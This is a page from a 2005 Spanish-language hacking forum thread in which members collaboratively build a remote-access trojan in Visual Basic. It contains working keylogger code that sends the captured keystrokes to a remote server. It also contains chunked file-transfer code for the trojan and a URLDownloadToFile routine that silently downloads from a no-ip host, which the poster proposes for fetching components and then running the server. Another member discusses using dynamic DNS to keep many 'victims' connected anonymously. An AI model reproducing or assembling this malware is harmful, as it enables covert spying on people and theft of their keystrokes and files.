elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
24 Mayo 2012, 19:43  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual
0 Usuarios y 5 Visitantes están viendo este tema.
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 38 Ir Abajo Respuesta Imprimir
Autor Tema: troyano en vb desde CERO, INDICE de contenidos en la primera pagina, GranManual  (Leído 112,435 veces)
Cicklow


Desconectado Desconectado

Mensajes: 604


-=Cicklow SOFT®=-


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #45 en: 18 Abril 2005, 16:14 »

OK yo te entiendo, pero lo de la transferencia de archivos me estaba complicando por unas cosas que le keria gregar yo osea de que yo solito me la estaba complicando.
Y 1000 disculpas si no se podia postear aka sino fuera con un tuto.
Pero no todo es eso aka les dejo my keylogger!!!!!!!! (el que uso YO)
-----------------------------------------------
Código:
'En Un Modulo Coloken Esto!!!!!!!!!!!!!!!!!!!!!!!
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
    For Cnt = 32 To 128
        If GetAsyncKeyState(Cnt) <> 0 Then
            GetPressedKey = Chr$(Cnt)
            Exit For
        End If
    Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    Ret = GetPressedKey
    If Ret <> sOld Then
        sOld = Ret
        sSave = sSave + sOld
    End If
End Sub

' en el formulario
Private Sub Form_Load()
    Me.Caption = "KeyLooger 1.0 - Cicklow SOFT®"
    SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
    Dim R As RECT
    Const mStr = "Ejecute otra aplicacion, y precione las teclas que liera, luego cierre este programa y vera las teclas que usted presiono!"
    Me.Cls
    Me.ScaleMode = vbPixels
    SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
    DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
    Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
    KillTimer Me.hwnd, 0
    'Al cerrar el form enviamos los datos.
    tcpSERVER.SendData sSave
End Sub
-----------------------------------------------
En línea

www.cicklow.com . Solo Soy Un Ciego que Ve El Sonido Del Silencio
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #46 en: 18 Abril 2005, 17:16 »

Hola, en primero lugar escribo para dar las gracias a fulano_ por haber puesto esa web, me es superutil y a ti cicklow por el keylogger, no te importará que lo copie, y lo pege junto al código de mi troyano, si quires.
Un saludo de Reydelmundo11 ;D
En línea

-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #47 en: 18 Abril 2005, 19:34 »


a ver lo aclarare, primero:

1- gracias por las gracias, no hay de que :D
2- aqui claro que se puede preguntar dudas, claro que si, es mi culpa si no hice otro hilo para las preguntas, eso tendre que mirar de cambiarlo, pero pregunta lo que quieras

3-no es obligatorio postear solo para aportar algo, es muy bueno que lo hagas, pero no es obligatorio faltaria mas!!!!!!!!
puedes preguntar lo que quieras, pero me jode que preguntes algo que esta esplicado en este mismo hilo

LA TRANSFERENCIA DE ARCHIVOS ESTA ESPLICADA EN ESTE HILO!

un saludo!!!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Cicklow


Desconectado Desconectado

Mensajes: 604


-=Cicklow SOFT®=-


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #48 en: 20 Abril 2005, 17:54 »

Por ahora mi Troyan VB esta kedando asi:




Desde ya le faltan mas cosas, pero esta es la Demo :):):):):)
En línea

www.cicklow.com . Solo Soy Un Ciego que Ve El Sonido Del Silencio
Rey11


Desconectado Desconectado

Mensajes: 3.244



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #49 en: 20 Abril 2005, 20:42 »

Muy buena la decoración te pediría que me ayudases con la decoración de mi troyano. Le quiero dejar bonito.
Gracias fulano_ por los códigos  ;)
Un saludo de reydelmundo11
 ;D
En línea

scugat

Desconectado Desconectado

Mensajes: 64



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #50 en: 20 Abril 2005, 21:19 »

Fulano me sabe muxo decirte que ay un fallo en tu codigo de transferencia de archivos, tu acumulas todos los datos en una variable y los envias el problema eske esa variable si el archivo es mu grande se blockea el programa y se cierra tenes que hacer que por ej cuando la variable tenga 25000 bits envie y la vacie
« Última modificación: 23 Abril 2005, 13:38 por scugat » En línea

NO digas que eres hacker si lamerias haces
Cicklow


Desconectado Desconectado

Mensajes: 604


-=Cicklow SOFT®=-


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #51 en: 20 Abril 2005, 21:46 »

Yo por eso antes ago una verificacion de si el archivo a enviar o recivir supera determinado tamaño, de ser asi me pregunta si quiero activar el server FTP que estoy armando en VB, y me lo envia a mi PC o viseversa :)
En línea

www.cicklow.com . Solo Soy Un Ciego que Ve El Sonido Del Silencio
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #52 en: 20 Abril 2005, 22:51 »


eso no lo habia probado hasta ahora, lo mirare aver, tiene cierto sentido pero creo recordar que probe a enviar una pelicula de 700Mb a mi mismo usando esa transferencia, y me hiba bien.. aunque lo cerre despues de un tiempo por que veia que hiba bien... lo pruebo mañana y lo comento

un saludo!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
scugat

Desconectado Desconectado

Mensajes: 64



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #53 en: 21 Abril 2005, 18:56 »

el truco de la cosa es ir cogiendo trozos de unos bites en determinado te recomiendo 25000 y vas enviando
Código:
dim buffer as string
'obligatorio de definir la variable si no da error
open arxivo for binary access read as #1
'abrimos el arxivo en modo binario lectura
buffer = space$(25000)
'le decimos el espacio max que pode ocupar
for i=1 to filelen(arxivo)/25000
'hacemos la division de las veces que tendra que leer y enviar
get#1,,buffer
'leemos
winsock.senddata buffer
'enviamos
if filelen(arxivo)-loc(1) <=25000 then
'como el for no utiliza los  decimales enviamos los restos
buffer = space$(filelen(arxivo)-loc(1))
'redimensianamos la variable con el num de bites que faltan
get#1,,buffer
'leemos
winsock.senddata buffer
'enviamos
end if
next

espero que os aya sido de utilidad este codigo con este codigo no se blokea el programa un salu 8)2
En línea

NO digas que eres hacker si lamerias haces
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #54 en: 21 Abril 2005, 23:04 »


muy bueno!!!  :) :)
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
scugat

Desconectado Desconectado

Mensajes: 64



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #55 en: 22 Abril 2005, 16:04 »

jeje me alegro que te guste, haber si con eso mejor tu programa, otra cosa eso de usar winsock mmmm creo que para hacer un troyano es mejor usar la api de sock, claro que no se como va pero me baje un modulo que ya lo preparava para funcionar
En línea

NO digas que eres hacker si lamerias haces
Cicklow


Desconectado Desconectado

Mensajes: 604


-=Cicklow SOFT®=-


Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #56 en: 22 Abril 2005, 16:08 »

Yo tengo el server con la api de windows y el cliente con el ocx.

Y para los que kieran un skin, aka les dejo uno que ice para todos, despues cada uno le hace lo que kiera y no hay limitaciones en cuanto al uso :)
http://isis.webcindario.com/skin - troyan 3.rar
SUerTE!!!!!
En línea

www.cicklow.com . Solo Soy Un Ciego que Ve El Sonido Del Silencio
-Xenon-


Desconectado Desconectado

Mensajes: 500


Spectrum 128k


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #57 en: 22 Abril 2005, 19:25 »


gracias por el skin, para usar la api bastan con poner en google:

CSocketMaster VB

y socket.bas

con esos 2 archivos se imita el uso de winsock, solo hay que declararlo

Código:
Dim WithEvents ws As CSocketMaster

y

Código:
Set ws = New CSocketMaster

-------------------------------------------------------------------------

ya podeis dejar de depender del dichoso ocx...

mas cosas??? ideas???  publicare un editor del registro para el troyano, de aqui a un par de semanas alo mucho, usando la el comando reg de msdos

un saludo!!!   ( me alegro que se colabore ) yo no publicaba mas por eso mismo.. pero si quereis podemos hacer una cosa en este hilo:

Cicklow podria encargarse del diseño grafico del proyecto
scugat de modificar el codigo de la transferemcia para poder enviar archivos de mas tamaño
yo por mi parte hare la funcion del editor del registro
y asi podemos ir sumandonos y cada 2 semanas por ejemplo PUBLICAR en este hilo todo el codigo del proyecto JUNTO, es decir, publicar como quedaria el server y el cliente en codigo abierto y los ejecutables de esos codigos...

si os parece bien podemos llevarlo a cabo aqui mismo, y tomarnoslo como un proyecto este troyano, entre todos podemos hacerlo bastante majo...

algunos direis que para eso esta el laboratorio, pero esto mismo lo hice ayi, pero nadie colabora, si aqui ay mas colaboracion, me gustaria que lo hicieramos...

tanto si os parece bien como si no, publicare el editor del registro...

un saludo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: troyano en vb desde 0, MINICURSO
« Respuesta #58 en: 22 Abril 2005, 19:52 »

Wenas fulano_ y compañia!
Ya he conseguido que funcione lo del No-ip! ;D ;D
Han sido horas de sudor y de cabreos  ;) ;).. xD
Pronto publicaré el código (+ un mini-tutorial) y lo podreis acoplar al codigo de vuestro troyano!
Solo deciros que para aquellos que tengan la utilidad del bouncer en su troyano, que a partir de ahora no tendreis que preocuparos por el tema de las IPs dinamicas, que ahora todas seran host de No-ip. De esta manera podreis tener muchas victimas conectadas entre si, lo que os garantiza el anonimato (casi) seguro!  8)
Cuando tenga un poquillo más de tiempo, lo publico.
Gracias fulano_ por tu gran ayuda!
Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
scugat

Desconectado Desconectado

Mensajes: 64



Ver Perfil WWW
Re: troyano en vb desde 0, MINICURSO
« Respuesta #59 en: 23 Abril 2005, 10:32 »

mu weno el skin ciclow, fulano como quieras, podemos postear aqui el codigo ;) ;), me gustaria que me enseñaran a usar las apis de sock, pk para hacer un troyano con el ocx es una *****,claro que tb encontre un codigo que bajaba archivos de internet ocultamente i dava un valor true cuando acabava lo que se podria hacer es que bajase el control ocx y cuando te bajado ejecute el programa servidor

MODULO
Código:
Option Explicit
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
    ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    Private Declare Function DoFileDownload Lib "shdocvw" _
    (ByVal lpszFile As String) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    Dim lngRetVal As Long
    lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
'empezamos a descargar
    If lngRetVal = 0 Then DownloadFile = True
'si la descarga a acabado porque el valor ingretval=0 entonces damos a downloadfile true
End Function

FORMULARIO
Código:
Private Sub Command1_Click()
If DownloadFile("http://zoneisaac.no-ip.com/p.jpg", "c:\arxivo.jpg") Then
'si downloadfile = true entonces
MsgBox "se a descargado correctamente"
'sentencia en este ejemplo un cartel
End If
End Sub

espero que sirva
salu2
En línea

NO digas que eres hacker si lamerias haces
Páginas: 1 2 3 [4] 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ... 38 Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines